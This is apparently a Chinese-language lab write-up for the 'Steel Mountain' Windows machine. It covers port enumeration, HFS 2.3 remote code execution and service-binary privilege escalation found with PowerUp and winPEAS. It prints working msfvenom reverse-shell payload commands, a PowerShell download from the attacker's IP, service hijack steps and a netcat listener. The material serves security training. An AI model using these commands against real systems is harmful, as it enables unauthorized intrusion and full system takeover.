机器 | Steel Mountain 钢山 |
---|---|
状态 | 未知 |
系统 | windows |
详细信息 | HttpFileServer 2.3 远程代码执行 getshell PowerUp.ps1 服务提权 |
枚举端口
Not shown: 989 closed ports PORT STATE SERVICE 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server 8080/tcp open http-proxy 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49156/tcp open unknown
开始前的小乐趣先个人
完美简单的 查找
详细枚举信息
Starting Nmap 7.60 ( https://nmap.org ) at 2024-04-26 08:00 BST Nmap scan report for ip-10-10-35-123.eu-west-1.compute.internal (10.10.35.123) Host is up (0.00041s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 8.5 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/8.5 |_http-title: Site does not have a title (text/html). 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 3389/tcp open ssl Microsoft SChannel TLS | fingerprint-strings: | TLSSessionReq: | f+Q4l | steelmountain0 | 240425063400Z | 241025063400Z0 | steelmountain0 | TANM | (F!WM | 92kC | 1(G^y | KNu! | 95V) | $00 | ;iFf | 87&j | ~%*d7 | 0CPT |_ AeCu | ssl-cert: Subject: commonName=steelmountain | Not valid before: 2024-04-25T06:34:00 |_Not valid after: 2024-10-25T06:34:00 |_ssl-date: 2024-04-26T07:02:06+00:00; 0s from scanner time. 8080/tcp open http HttpFileServer httpd 2.3 |_http-server-header: HFS 2.3 |_http-title: HFS / 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49156/tcp open msrpc Microsoft Windows RPC 。 ### 无法识别 3389的 服务版本 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3389-TCP:V=7.60%I=7%D=4/26%Time=662B5139%P=x86_64-pc-linux-gnu%r(TL SF:SSessionReq,346,x16x03x03x03Ax02 Mx03x03f+Q4lxbdxd2xa6% SF:xd0x151xafxf5x8cx19E,x8bxe9>Tx02xdax9cPx07:4x04xa6xf0x20 SF:;# x002x93x1fxa1xebx9dx15xef{xf1%x7fx9dxc4-xcax15xf5? SF:xaexa6xffx11+xd4xd66a / x05xffx01 x01 x0b x02xe8 SF:x02xe5 x02xe20x82x02xde0x82x01xc6xa0x03x02x01x02x02x10 SF:5xf3xaaxabz~*xaeFxf3xc9ypxb62xa10rx06t*x86Hx86xf7rx01 SF:x01x05x05x000x181x160x14x06x03Ux04x03x13rsteelmountain0x1 SF:ex17r240425063400Zx17r241025063400Z0x181x160x14x06x03Ux04x03 SF:x13rsteelmountain0x82x01"0rx06t*x86Hx86xf7rx01x01x01x0 SF:5 x03x82x01x0fx000x82x01nx02x82x01x01 xa4x93xd2x83xc SF:5Kxfdexe5|C4xffx06uxde%xf8xb4Zx1exdbxbfxa2x8bxf4x8f7xdf SF:Rxfecxe1g}ux0exf8A9xe8x0ccxb1xcaxcex9bx1fpx19xccx97x11x SF:fcx1cxaaxf0x0cx9ex17xd1xa1$x93xd2xb6ox20x99Zxfax89xa9 SF:0Cx1bx86xfdx8fxba(xa4.xf6/x03xd1xd9Buxbcxd8},xdcTANMxe1 SF:xfex01xaex17x1cKxe4xaa}hxcbx8f!xff(F!WMxfdxfexe892kCxa5 SF:x96xaa1(G^yxdfiZXxa4#x82xbaoxe4x85"Q,xaexc9xcdx98xe3exf SF:5x1d2`xb2x80KNu!xe6xd8F; x1aauxe5x8dxd7xab^xd9xc7x04x10 SF:xc6x91xa2xb6xc6xa9xda9;xf6xefwxf1x93Nx0ctL~xc8xc5rx1dx SF:9dYpVx82x9dxe0SG_xd9x11fxf0x196Gxc9xe1xd0Mn#xec;xffx8fG# SF:x04x8cxec8xbfxcax84Jx97xf5xcd95V)xe3xf6Q}rxbfxee}x02x03 SF:x01 x01xa3$0"0x13x06x03Ux1d%x04x0c0nx06x08+x06x01x05 SF:x05x07x03x010x0bx06x03Ux1dx0fx04x04x03x02x0400rx06t*x SF:86Hx86xf7rx01x01x05x05 x03x82x01x01 %ux97xd5x17Mx0fxe SF:7xcdxf0rxd1;iFfxd4xf3xbcxd9c xc7x03x91Jxd0<dx01x08xf6G_ SF:lx9dhx89vxf7x14x1axe0xa7trx86xedxc6xb0xd6xbbx8bxdaNTxea SF:xd2x08xf8x8cx0cFx1ex7f3xd0x85Dx9exb4+xa687&jx8fa2x19xa SF:cxd9x05x15~%*d7x93"xc4-x11xff0CPTx86x02xd3m`x07%xebxa5x SF:16x17%=xaaxf6x95WKBx87xa7Hx12xb9xcbxd3x88x8cxf5%xd1xd3x SF:bexd0xf4x05xc0x16x93xd1x1egxf8x94x8f8xc0Jxb8gxf3xe5x8d SF:xf8xabxbbxf4xc7vx8c+xedMYxabxcex1ax9ax83sxdbkxf1x14Exa8 SF:AeCux9ex93x85xb5[xcfx8bxf9xa1xd7x8fxf5tPTxcbxa6o8xadQxc SF:9!x87yxd2=;xe4ox07xedh[x0ex9dxb6xf2xaf^xfax89Gxc4xcf}x SF:e5xfc-x8cgxebZ@*xe1Alx87xxc0{Hyxabxf5,xf6rxe7x154nxffxcb SF:x0e ); MAC Address: 02:46:B7:98:AF:B5 (Unknown) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Microsoft Windows Server 2008 SP2 Datacenter Version (98%), Microsoft Windows Server 2012 (96%), Microsoft Windows Server 2012 R2 (96%), Microsoft Windows Server 2012 R2 Update 1 (96%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (96%), Microsoft Windows Vista SP1 (95%), Microsoft Windows Server 2012 or Server 2012 R2 (93%), Microsoft Windows Server 2008 R2 (93%), Microsoft Windows Home Server 2011 (Windows Server 2008 R2) (93%), Microsoft Windows Server 2008 SP1 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: |_nbstat: NetBIOS name: STEELMOUNTAIN, NetBIOS user: <unknown>, NetBIOS MAC: 02:46:b7:98:af:b5 (unknown) | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2024-04-26 08:02:06 |_ start_date: 2024-04-26 07:33:53
详细分析一下
80
***1. Microsoft IIS httpd 8.5:该服务器运行的是Microsoft Internet Information Services(IIS)8.5版本,这是Microsoft的网络服务器软件。
*http-methods:
这行提到可能的HTTP方法。
TRACE
是一种潜在危险的方法,它会将收到的HTTP请求返回给客户端,可能会被用于跨站追踪攻击(Cross-Site Tracing,XST)等攻击手法。
139 445
告诉我们了操作系统
Microsoft Windows Server 2008 R2 – 2012 microsoft-ds
3389
根据你提供的扫描结果,看起来端口3389上运行的是Microsoft SChannel TLS服务,通常用于远程桌面连接(Remote Desktop Protocol,RDP)。以下是一些分析:
**3389/tcp open ssl:这表示端口3389上运行的服务是基于SSL(Secure Sockets Layer)的,通常用于加密通信。在此情况下,它是Microsoft SChannel TLS,表明使用的是Windows的加密库。
*fingerprint-strings:这部分提供了一些TLS握手阶段的字符串。这些字符串可能有助于识别所使用的TLS版本或其他信息。
*ssl-cert:这是与SSL证书相关的信息。在这里,证书的主题(commonName)是 “steelmountain”,证书的有效期从 2024年4月25日到2024年10月25日。
*ssl-date:这是SSL证书的日期信息,显示了扫描时的日期和时间,以及与证书相关的时间间隔。
8080
端口8080上运行着HttpFileServer(HFS)2.3版本,这是一个基于HTTP协议的文件服务器软件。这意味着该服务器允许用户通过Web浏览器访问和管理文件。通过HTTP请求,用户可以上传、下载、删除和浏览服务器上的文件。在这种情况下,服务器的HTTP响应头中包含了”Server”字段,指示服务器版本为HFS 2.3。此外,HTTP响应标题显示为”HFS /”,表明服务器根目录的标题为”HFS”。****
|
8080端口的 HttpFileServer2.3远程代码执行 | HttpFileServer2.3 |
---|
打点
8080 端口服务器HttpFileServer(HFS)2.3
启动msf 直接开始打
配置相关配置
Getshell
权限提升
首先先拿脚本信息收集 | 脚本信息收集 |
---|---|
首先先下载 之后上传到 目标windows机器
upload /home/tom/get_power/windows/PowerUp.ps1
meterpreter > load Powershell Loading extension powershell...Success. meterpreter > Powershell_shel [-] Unknown command: Powershell_shel meterpreter > Powershell_shell [-] Unknown command: Powershell_shell meterpreter > powershell_shell PS >
执行扫描脚本
.PowerUp.ps1
开启脚本测试看到许多服务
ServiceName : AdvancedSystemCareService9 Path : C:Program Files (x86)IObitAdvanced SystemCareASCService.exe ModifiablePath : @{ModifiablePath=C:; IdentityReference=BUILTINUsers; Permissions=AppendData/AddSubdirectory} StartName : LocalSystem AbuseFunction : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath> CanRestart : True Name : AdvancedSystemCareService9 Check : Unquoted Service Paths ## 解释 - **ServiceName**:服务名称是 "AdvancedSystemCareService9"。 - **Path**:该服务的路径是 "C:Program Files (x86)IObitAdvanced SystemCareASCService.exe"。 - **ModifiablePath**:这里提到的可修改路径指的是 "C:",而且该路径上的权限是授予 "BUILTINUsers" 组的,具有“追加数据/添加子目录”的权限。这意味着系统中的普通用户组可能对这个路径具有一定的写权限。 - **StartName**:服务是以 "LocalSystem" 账户启动的。这是 Windows 中权限最高的账户之一,通常用于系统服务。"StartName" 表示服务启动时所使用的用户账户。在这个描述中,它指定了服务是以 "LocalSystem" 账户启动的。"LocalSystem" 是 Windows 中的一个内置账户,拥有系统最高的权限。这意味着该服务在启动时具有系统级别的权限,可以执行许多操作,包括访问系统资源和执行系统级任务,而不受用户权限限制。 - **AbuseFunction**:该字段描述了一种潜在的滥用方式,即通过 `Write-ServiceBinary` 命令向这个服务的路径写入二进制文件。这种滥用可能导致恶意程序被注入到服务中。 - **CanRestart**:表示该服务可以重新启动。 - **Check**:描述这个服务存在的潜在风险是 "Unquoted Service Paths",即未加引号的服务路径。这可能导致路径混淆,并被恶意攻击利用。
根据服务的信息收集来看我们已经 找到了 一个可以写的路径
载荷投递
载荷生成
### 先看一下系统信息systeminfo System Boot Time: 4/27/2024, 1:07:47 AM System Manufacturer: Xen System Model: HVM domU System Type: x64-based PC ### 生成木马 msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.69.232 LPORT=4444 -f exe-service -o Advanced.exe ## 首先先要 暂停服务 ## 服务暂停之后 才能对这个文件进行替换 当前路径:C:UsersbillAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupAdvanced.exe cd "C:Program Files (x86)IObitAdvanced SystemCare" C:Program Files (x86)IObitAdvanced SystemCareASCService.exe Move-Item -Path "C:UsersbillAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupAdvanced.exe" -Destination "C:Program Files (x86)IObitAdvanced SystemCareASCService.exe" sc start 相对服务的名字 直接get shell
非MSF 启动(非集成化脚本)
httpfileserver
修改 个人ip 和 端口
脚本利用
第一次
脚本向我们本地的web 服务器 请求 nc.exe
第二次
脚本向目标 弹一个反向shell回来
下载 nc.exe 并且 搭建web服务
Get_System
今天继续找一个自动化信息收集脚本 winpeas
使用web服务器将exe传送到 目标机器
直接运行
Interesting Services -non Microsoft- � Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services AdvancedSystemCareService9(IObit - Advanced SystemCare Service 9)[C:Program Files (x86)IObitAdvanced SystemCareASCService.exe] - Auto - Running - No quotes and Space detected File Permissions: bill [WriteData/CreateFiles] Possible DLL Hijacking in binary folder: C:Program Files (x86)IObitAdvanced SystemCare (bill [WriteData/CreateFiles]) Advanced SystemCare Service
依旧是 这个 文件
服务 我们可以直接 创建一个exe来替代他
载荷投递
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.69.232 LPORT=4444 -f exe-service -e x86/shikata_ga_nai -o ASCService.exe
停止服务 AdvancedSystemCareService9
sc stop AdvancedSystemCareService9
直接删除可执行文件ASCService.exe
直接上传我们的自定义
ASCService.exe
powershell -c Invoke-WebRequest -Uri "http://10.11.69.232:8080/ASCService.exe" -OutFile "ASCService.exe"
get_system
sc start AdvancedSystemCareService9
开启监听 nc -nvlp 4444
总结
这个靶场还是比较简单的 主要是 使用了两种方式让你学会如何利用软件进入 一台机器